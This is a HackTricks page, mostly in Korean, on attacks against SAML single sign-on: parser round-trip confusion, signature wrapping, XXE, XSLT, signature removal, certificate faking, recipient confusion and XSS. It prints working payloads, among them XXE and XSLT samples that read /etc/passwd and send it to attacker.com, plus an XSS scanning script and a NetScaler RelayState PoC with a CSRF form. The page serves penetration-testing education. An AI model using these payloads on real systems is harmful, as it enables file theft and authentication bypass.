SAML Attacks
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
도구
SAMLExtractor: URL 또는 URL 목록을 받아 SAML consume URL을 출력하는 도구.
XML round-trip
XML에서는 서명된 XML 부분이 메모리에 저장된 뒤, 일부 인코딩/디코딩이 수행되고 서명이 검증됩니다. 이상적으로는 그 인코딩/디코딩이 데이터를 변경하지 않아야 하지만, 특정 시나리오에서는 검증되는 데이터와 원본 데이터가 동일하지 않을 수 있습니다.
예를 들어, 다음 코드를 확인해보세요:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
프로그램을 REXML 3.2.4 또는 이전 버전에서 실행하면 대신 다음과 같은 출력이 나타납니다:
First child in original doc: Y
First child after round-trip: Z
This is how REXML saw the original XML document from the program above:
.png)
And this is how it saw it after a round of parsing and serialization:
.png)
For more information about the vulnerability and how to abuse it:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.
The following attacks ara based on this blog post and this paper. So check those for further details.
XSW #1
- 전략: Signature를 포함하는 새 루트 요소가 추가됩니다.
- 영향: validator가 정규 Response -> Assertion -> Subject와 공격자가 만든 evil new Response -> Assertion -> Subject를 혼동하여 데이터 무결성 문제가 발생할 수 있습니다.
.png)
XSW #2
- XSW #1과의 차이점: enveloping signature 대신 detached signature를 사용합니다.
- 영향: XSW #1과 유사한 “evil” 구조가 무결성 검사 이후 business logic을 속이려 합니다.
.png)
XSW #3
- 전략: 원본 Assertion과 동일한 계층 수준에 악성 Assertion을 생성합니다.
- 영향: business logic이 악성 데이터를 사용하도록 혼동시키려는 목적입니다.
.png)
XSW #4
- XSW #3과의 차이점: 원본 Assertion이 중복된(evil) Assertion의 자식이 됩니다.
- 영향: XSW #3과 유사하지만 XML 구조를 더 공격적으로 변경합니다.
.png)
XSW #5
- 고유한 특징: Signature도 원본 Assertion도 표준 구성(enveloped/enveloping/detached)을 따르지 않습니다.
- 영향: 복사된 Assertion이 Signature를 감싸면서 기대되는 문서 구조를 변경합니다.
.png)
XSW #6
- 전략: XSW #4 및 #5와 유사한 위치 삽입이지만 변형이 있습니다.
- 영향: 복사된 Assertion이 Signature를 감싸고, 그 Signature가 다시 원본 Assertion을 감싸는 중첩된 속임수 구조를 만듭니다.
.png)
XSW #7
- 전략: Extensions 요소를 삽입하고 그 자식으로 복사된 Assertion을 둡니다.
- 영향: Extensions 요소의 덜 엄격한 스키마를 악용하여 스키마 검증 방어책을 우회할 수 있으며, 특히 OpenSAML 같은 라이브러리에서 문제가 됩니다.
.png)
XSW #8
- XSW #7과의 차이점: 덜 엄격한 다른 XML 요소를 이용한 변형입니다.
- 영향: 원본 Assertion이 덜 엄격한 요소의 자식이 되어 XSW #7에서 사용된 구조를 반전시킵니다.
.png)
Tool
You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.
XXE
If you don’t know which kind of attacks are XXE, please read the following page:
XXE - XEE - XML External Entity
SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
도구
또한 Burp 확장 SAML Raider를 사용하여 SAML 요청에서 POC를 생성해 잠재적인 XXE 및 SAML 취약점을 테스트할 수 있습니다.
이 강연도 확인하세요: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT를 통한 SAML
For more information about XSLT go to:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Extensible Stylesheet Language Transformations (XSLT)는 XML 문서를 HTML, JSON 또는 PDF와 같은 다양한 형식으로 변환하는 데 사용할 수 있습니다. 특히 XSLT 변환은 디지털 서명의 검증보다 먼저 수행된다는 점을 유의해야 합니다. 이는 유효한 서명이 없어도 공격이 성공할 수 있음을 의미하며, 자체 서명된 서명이나 잘못된 서명으로도 진행이 가능합니다.
여기에서 이러한 유형의 취약점을 확인하기 위한 POC를 찾을 수 있으며, 이 섹션 초반에 언급한 hacktricks 페이지에서 payloads를 찾을 수 있습니다.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Tool
또한 Burp 확장 기능 SAML Raider를 사용해 SAML 요청으로부터 POC를 생성하여 잠재적인 XSLT 취약성을 테스트할 수 있습니다.
아래 발표도 확인하세요: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
The XML Signature Exclusion는 Signature element가 없을 때 SAML 구현체의 동작을 관찰하는 기법입니다. 이 요소가 없으면 signature validation may not occur, 취약해질 수 있습니다. 보통 signature로 검증되는 내용을 변경하여 이를 테스트할 수 있습니다.
.png)
Tool
또한 Burp 확장 기능 SAML Raider를 사용할 수 있습니다. SAML Response를 가로채고 Remove Signatures를 클릭하세요. 이렇게 하면 all Signature elements가 제거됩니다.
서명이 제거된 상태에서 요청을 대상에 전달합니다. 만약 Signature가 Service에서 요구되지 않는다면
Certificate Faking
Certificate Faking
Certificate Faking은 Service Provider (SP)가 SAML Message가 신뢰된 Identity Provider (IdP)에 의해 서명되었는지 제대로 검증하는지 테스트하는 기법입니다. 이는 SAML Response나 Assertion에 *self-signed certificate를 사용해 서명함으로써 SP와 IdP 간의 신뢰 검증 과정을 평가하는 데 사용됩니다.
How to Conduct Certificate Faking
다음 단계는 SAML Raider Burp 확장 기능을 사용한 절차입니다:
- SAML Response를 가로챕니다.
- 응답에 서명이 포함되어 있으면
Send Certificate to SAML Raider Certs버튼을 사용해 인증서를 SAML Raider Certs로 전송합니다. - SAML Raider Certificates 탭에서 가져온 인증서를 선택하고
Save and Self-Sign을 클릭하여 원본 인증서의 self-signed 복제본을 만듭니다. - Burp의 Proxy에서 가로챈 요청으로 돌아갑니다. XML Signature 드롭다운에서 새로 생성한 self-signed 인증서를 선택합니다.
Remove Signatures버튼으로 기존 서명을 모두 제거합니다.- 적절하게
(Re-)Sign Message또는(Re-)Sign Assertion버튼을 사용하여 메시지나 assertion에 새 인증서로 서명합니다. - 서명된 메시지를 전달합니다. 인증이 성공하면 SP가 self-signed 인증서로 서명된 메시지를 허용한다는 것이며, 이는 SAML 메시지 검증 과정에 잠재적 취약점이 있음을 나타냅니다.
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion 및 Service Provider Target Confusion은 Service Provider가 응답의 의도된 수신자를 올바르게 검증하는지 확인하는 것과 관련됩니다. 본질적으로, Service Provider는 다른 provider를 위해 발급된 authentication response를 거부해야 합니다. 핵심 요소는 SAML Response의 SubjectConfirmationData 요소 내에 있는 Recipient 필드로, 이 필드는 Assertion이 전송되어야 하는 URL을 지정합니다. 실제 수신자가 의도된 Service Provider와 일치하지 않으면 Assertion은 무효로 간주되어야 합니다.
How It Works
SAML Token Recipient Confusion (SAML-TRC) 공격이 가능하려면 몇 가지 조건이 충족되어야 합니다. 첫째, Service Provider(SP-Legit)에 대한 유효한 계정이 있어야 합니다. 둘째, 대상 Service Provider(SP-Target)가 SP-Legit와 동일한 Identity Provider에서 발급한 토큰을 받아들여야 합니다.
이 조건들이 충족되면 공격 과정은 단순합니다. 공인된 세션을 공유 Identity Provider를 통해 SP-Legit에서 시작합니다. Identity Provider에서 SP-Legit로 전송된 SAML Response를 가로챕니다. 이 가로챈 SAML Response(원래 SP-Legit용)를 SP-Target으로 리다이렉트합니다. 공격이 성공하면 SP-Target이 Assertion을 수락하여 SP-Legit에서 사용한 동일한 계정 이름으로 리소스에 접근할 수 있게 됩니다.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
로그아웃 기능의 XSS
원본 연구는 this link에서 확인할 수 있습니다.
directory brute forcing 과정에서 다음 위치에서 로그아웃 페이지를 발견했습니다:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
이 링크에 접속했을 때 다음으로 리디렉션되었습니다:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
이를 통해 base 파라미터가 URL을 허용한다는 것이 드러났다. 이를 고려하여 URL을 javascript:alert(123);로 대체해 XSS (Cross-Site Scripting) 공격을 시도해보자는 아이디어가 떠올랐다.
대규모 악용
The SAMLExtractor 도구를 사용해 uberinternal.com의 서브도메인들을 동일한 라이브러리를 사용하는 도메인인지 분석했다. 이후 oidauth/prompt 페이지를 겨냥한 스크립트가 개발되었다. 이 스크립트는 데이터를 입력하고 출력에 반영되는지를 확인함으로써 XSS (Cross-Site Scripting)를 테스트한다. 입력이 실제로 반영되는 경우 스크립트는 해당 페이지를 취약한 것으로 표시한다.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
RelayState-based header/body injection to rXSS
일부 SAML SSO 엔드포인트는 RelayState를 디코드한 후 정제(sanitization) 없이 응답에 반사합니다. 개행(newline)을 주입해 응답의 Content-Type을 덮어쓸 수 있다면, 브라우저가 공격자가 제어하는 HTML을 렌더하도록 강제하여 reflected XSS를 달성할 수 있습니다.
- Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
- RelayState가 서버 측에서 base64로 디코드되는 경우에도 동작합니다: header/body injection으로 디코드되는 base64를 제공합니다.
일반화한 절차:
- 개행으로 시작하는 header/body injection 시퀀스를 만들고, Content-Type을 HTML로 덮어쓴 다음 HTML/JS payload를 주입합니다:
Concept:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- 시퀀스를 URL-encode합니다(예):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- 해당 URL-encoded 문자열을 base64로 인코드하고
RelayState에 넣습니다.
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- 문법상 유효한
SAMLResponse와 조작한RelayState를 포함한 POST를 SSO 엔드포인트(예:/cgi/logout)로 전송합니다. - CSRF로 전달: 두 필드를 포함한 cross-origin POST를 자동 제출하는 페이지를 호스팅합니다.
PoC against a NetScaler SSO endpoint (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
CSRF 전달 패턴:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
작동 원리: 서버가 RelayState를 디코드하고 이를 응답에 포함시키는데 newline injection을 허용하도록 처리되어 공격자가 헤더와 바디에 영향을 줄 수 있습니다. Content-Type: text/html을 강제로 지정하면 브라우저가 응답 본문에서 공격자가 제어하는 HTML을 렌더링하게 됩니다.
참고자료
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

